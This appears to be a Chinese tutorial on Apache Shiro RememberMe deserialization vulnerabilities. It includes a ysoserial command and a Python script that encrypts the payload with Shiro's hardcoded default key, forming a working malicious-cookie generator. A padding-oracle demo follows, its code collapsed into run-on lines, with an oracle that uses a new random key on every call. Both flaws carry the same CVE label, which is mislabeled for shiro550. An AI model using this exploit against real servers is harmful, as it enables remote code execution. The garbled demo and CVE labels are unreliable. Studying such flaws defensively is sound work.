一、關于shiro介紹
簡單講,shiro是apache旗下的一個Java安全框架,輕量級簡單易上手,框架提供很多功能接口,常見的身份認證 、權限認證、會話管理、Remember 記住功能、加密等等。
二、漏洞分析
1.CVE-2019-12422-shiro550
漏洞原理:shiro會對Remember Me功能帶的cookie字段進行解密并進行反序列化,解密過程為base64解碼------AES-CBC解密------反序列化,所以我們只需要逆向構造數據包就能觸發漏洞,Apache Shiro ≤1.2.4版本的AES密鑰是硬編碼,嘗試爆破常見的key就能觸發。
目前市場上利用工具很多,手工構造也可以
使用工具生成反序列化文件,AES加密后結果base64密碼
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
from _ast import Lambda
from Crypto.Cipher import AES
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)
2.CVE-2019-12422-shiro721
漏洞原理:影響1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基礎上加入隨機key,改變硬編碼不能直接爆破key,但AES-128-CBC模式易受填充提示攻擊(Padding Oracle Attack),攻擊者需通過有效RememberMe Cookie作為前綴逐步爆破密鑰,從而觸發漏洞。利用難度較高,需要登錄后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷進行了密鑰破解。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模擬存在Padding Oracle漏洞的服務器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True # 填充正確時返回Trueexcept (ValueError, KeyError):return False # 填充錯誤或其他錯誤# 生成測試數據
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻擊實現
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 從最后一個塊開始攻擊
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 構造測試塊test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 計算當前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解當前字節found = Falsefor guess in range(256):# 構造中間值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 設置當前猜測字節test_block[byte_pos] = guess ^ padding_value# 構造完整的加密數據modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻擊失敗")print(f"原始明文: {plaintext}")
print(f"恢復的明文: {recovered_plaintext}")